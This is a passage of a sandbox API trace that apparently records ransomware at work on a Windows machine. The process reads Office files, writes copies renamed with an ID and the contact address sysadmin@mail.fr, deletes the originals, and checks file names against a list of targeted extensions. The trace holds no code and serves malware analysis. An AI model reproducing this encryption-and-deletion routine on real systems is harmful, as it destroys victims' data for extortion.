	[0151.051] ReadFile (in: hFile=0x530, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.051] WriteFile (in: hFile=0x38c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.051] SetEndOfFile (hFile=0x38c) returned 1
	[0151.051] CloseHandle (hObject=0x38c) returned 1
	[0151.051] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.051] SetEndOfFile (hFile=0x530) returned 1
	[0151.055] CloseHandle (hObject=0x530) returned 1
	[0151.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1
	[0151.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.567] lstrlenW (lpString=".doc") returned 4
	[0151.567] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.567] lstrlenW (lpString=".docx") returned 5
	[0151.567] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0151.567] lstrlenW (lpString=".pdf") returned 4
	[0151.567] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.568] lstrlenW (lpString=".xls") returned 4
	[0151.568] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.568] lstrlenW (lpString=".xlsx") returned 5
	[0151.568] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0151.568] lstrlenW (lpString=".ppt") returned 4
	[0151.568] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.568] lstrlenW (lpString=".zip") returned 4
	[0151.568] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.568] lstrlenW (lpString=".rar") returned 4
	[0151.568] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.568] lstrlenW (lpString=".bz2") returned 4
	[0151.568] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.568] lstrlenW (lpString=".7z") returned 3
	[0151.568] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.568] lstrlenW (lpString=".dbf") returned 4
	[0151.568] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.568] lstrlenW (lpString=".1cd") returned 4
	[0151.568] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.568] lstrlenW (lpString=".jpg") returned 4
	[0151.568] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.569] lstrlenW (lpString=".doc") returned 4
	[0151.569] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.569] lstrlenW (lpString=".docx") returned 5
	[0151.569] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0151.569] lstrlenW (lpString=".pdf") returned 4
	[0151.569] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.569] lstrlenW (lpString=".xls") returned 4
	[0151.569] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.569] lstrlenW (lpString=".xlsx") returned 5
	[0151.569] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0151.569] lstrlenW (lpString=".ppt") returned 4
	[0151.569] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.569] lstrlenW (lpString=".zip") returned 4
	[0151.570] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.570] lstrlenW (lpString=".rar") returned 4
	[0151.570] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.570] lstrlenW (lpString=".bz2") returned 4
	[0151.570] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.570] lstrlenW (lpString=".7z") returned 3
	[0151.570] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.570] lstrlenW (lpString=".dbf") returned 4
	[0151.570] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.570] lstrlenW (lpString=".1cd") returned 4
	[0151.570] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0151.570] lstrlenW (lpString=".jpg") returned 4
	[0151.570] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.570] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.570] lstrlenW (lpString="SAFRI_01.MID") returned 12
	[0151.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0151.571] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=10122) returned 1
	[0151.571] CloseHandle (hObject=0x558) returned 1
	[0151.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220
	[0151.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0151.572] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.573] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0151.574] GetLastError () returned 0x0
	[0151.574] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x278a, lpOverlapped=0x0) returned 1
	[0151.576] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2790, lpOverlapped=0x0) returned 1
	[0151.577] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.577] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.577] SetEndOfFile (hFile=0x48c) returned 1
	[0151.578] CloseHandle (hObject=0x48c) returned 1
	[0151.578] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.578] SetEndOfFile (hFile=0x558) returned 1
	[0151.581] CloseHandle (hObject=0x558) returned 1
	[0151.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1
	[0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.583] lstrlenW (lpString=".doc") returned 4
	[0151.583] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.583] lstrlenW (lpString=".docx") returned 5
	[0151.583] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.583] lstrlenW (lpString=".pdf") returned 4
	[0151.583] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.583] lstrlenW (lpString=".xls") returned 4
	[0151.583] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.583] lstrlenW (lpString=".xlsx") returned 5
	[0151.583] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.583] lstrlenW (lpString=".ppt") returned 4
	[0151.583] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.583] lstrlenW (lpString=".zip") returned 4
	[0151.583] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.583] lstrlenW (lpString=".rar") returned 4
	[0151.583] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.583] lstrlenW (lpString=".bz2") returned 4
	[0151.583] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.583] lstrlenW (lpString=".7z") returned 3
	[0151.583] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.583] lstrlenW (lpString=".dbf") returned 4
	[0151.583] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.584] lstrlenW (lpString=".1cd") returned 4
	[0151.584] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.584] lstrlenW (lpString=".jpg") returned 4
	[0151.584] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.584] lstrlenW (lpString=".doc") returned 4
	[0151.584] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.584] lstrlenW (lpString=".docx") returned 5
	[0151.584] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.584] lstrlenW (lpString=".pdf") returned 4
	[0151.584] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.584] lstrlenW (lpString=".xls") returned 4
	[0151.584] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.584] lstrlenW (lpString=".xlsx") returned 5
	[0151.584] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.584] lstrlenW (lpString=".ppt") returned 4
	[0151.584] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.782] lstrlenW (lpString=".zip") returned 4
	[0151.782] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.782] lstrlenW (lpString=".rar") returned 4
	[0151.782] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.783] lstrlenW (lpString=".bz2") returned 4
	[0151.783] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.783] lstrlenW (lpString=".7z") returned 3
	[0151.783] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.783] lstrlenW (lpString=".dbf") returned 4
	[0151.783] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.783] lstrlenW (lpString=".1cd") returned 4
	[0151.783] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0151.783] lstrlenW (lpString=".jpg") returned 4
	[0151.783] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.783] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.783] lstrlenW (lpString="SPACE_01.MID") returned 12
	[0151.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.994] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=4219) returned 1
	[0151.994] CloseHandle (hObject=0x388) returned 1
	[0151.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220
	[0153.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0153.747] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.747] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.157] GetLastError () returned 0x0
	[0154.157] ReadFile (in: hFile=0x540, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x107b, lpOverlapped=0x0) returned 1
	[0154.168] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1080, lpOverlapped=0x0) returned 1
	[0154.169] ReadFile (in: hFile=0x540, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.169] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.169] SetEndOfFile (hFile=0x350) returned 1
	[0154.169] CloseHandle (hObject=0x350) returned 1
	[0154.169] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.169] SetEndOfFile (hFile=0x540) returned 1
	[0154.172] CloseHandle (hObject=0x540) returned 1
	[0154.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1
	[0154.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.176] lstrlenW (lpString=".doc") returned 4
	[0154.176] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0154.176] lstrlenW (lpString=".docx") returned 5
	[0154.176] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0154.176] lstrlenW (lpString=".pdf") returned 4
	[0154.176] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0154.176] lstrlenW (lpString=".xls") returned 4
	[0154.176] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0154.176] lstrlenW (lpString=".xlsx") returned 5
	[0154.176] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0154.176] lstrlenW (lpString=".ppt") returned 4
	[0154.176] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0154.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.177] lstrlenW (lpString=".zip") returned 4
	[0154.177] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0154.177] lstrlenW (lpString=".rar") returned 4
	[0154.177] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0154.177] lstrlenW (lpString=".bz2") returned 4
	[0154.177] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0154.177] lstrlenW (lpString=".7z") returned 3
	[0154.177] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0154.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.177] lstrlenW (lpString=".dbf") returned 4
	[0154.177] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0154.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.177] lstrlenW (lpString=".1cd") returned 4
	[0154.177] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0154.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.177] lstrlenW (lpString=".jpg") returned 4
	[0154.177] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0154.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.177] lstrlenW (lpString=".doc") returned 4
	[0154.177] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0154.177] lstrlenW (lpString=".docx") returned 5
	[0154.177] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0154.178] lstrlenW (lpString=".pdf") returned 4
	[0154.178] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0154.178] lstrlenW (lpString=".xls") returned 4
	[0154.178] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0154.178] lstrlenW (lpString=".xlsx") returned 5
	[0154.178] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0154.178] lstrlenW (lpString=".ppt") returned 4
	[0154.178] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0154.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.178] lstrlenW (lpString=".zip") returned 4
	[0154.178] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0154.178] lstrlenW (lpString=".rar") returned 4
	[0154.178] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0154.178] lstrlenW (lpString=".bz2") returned 4
	[0154.178] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0154.178] lstrlenW (lpString=".7z") returned 3
	[0154.178] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0154.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.178] lstrlenW (lpString=".dbf") returned 4
	[0154.178] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0154.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.178] lstrlenW (lpString=".1cd") returned 4
	[0154.178] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0154.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0154.178] lstrlenW (lpString=".jpg") returned 4
	[0154.179] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0154.179] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.179] lstrlenW (lpString="Grunge Texture.eftx") returned 19
	[0154.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.180] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=352776) returned 1
	[0154.180] CloseHandle (hObject=0x540) returned 1
	[0154.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220
	[0154.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.180] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.180] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.182] GetLastError () returned 0x0
	[0154.182] ReadFile (in: hFile=0x540, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x56208, lpOverlapped=0x0) returned 1
	[0154.210] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x56210, lpOverlapped=0x0) returned 1
